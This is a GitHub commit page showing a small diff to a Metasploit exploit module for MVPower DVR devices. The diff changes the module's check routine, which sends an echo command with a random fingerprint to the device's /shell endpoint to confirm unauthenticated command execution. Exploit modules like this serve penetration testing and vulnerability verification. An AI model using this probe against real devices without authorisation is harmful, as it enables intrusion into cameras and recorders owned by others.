We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 7933119 commit 5d6a159Copy full SHA for 5d6a159
modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
@@ -60,8 +60,9 @@ def check
60
begin
61
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
62
res = send_request_cgi(
63
- 'method' => "GET",
64
- 'uri' => "/shell?echo+#{fingerprint}",
+ 'method' => 'GET',
+ 'uri' => '/shell',
65
+ 'query' => "echo+#{fingerprint}",
66
'headers' => { 'Connection' => 'Keep-Alive' }
67
)
68
if res && res.body.include?(fingerprint)
0 commit comments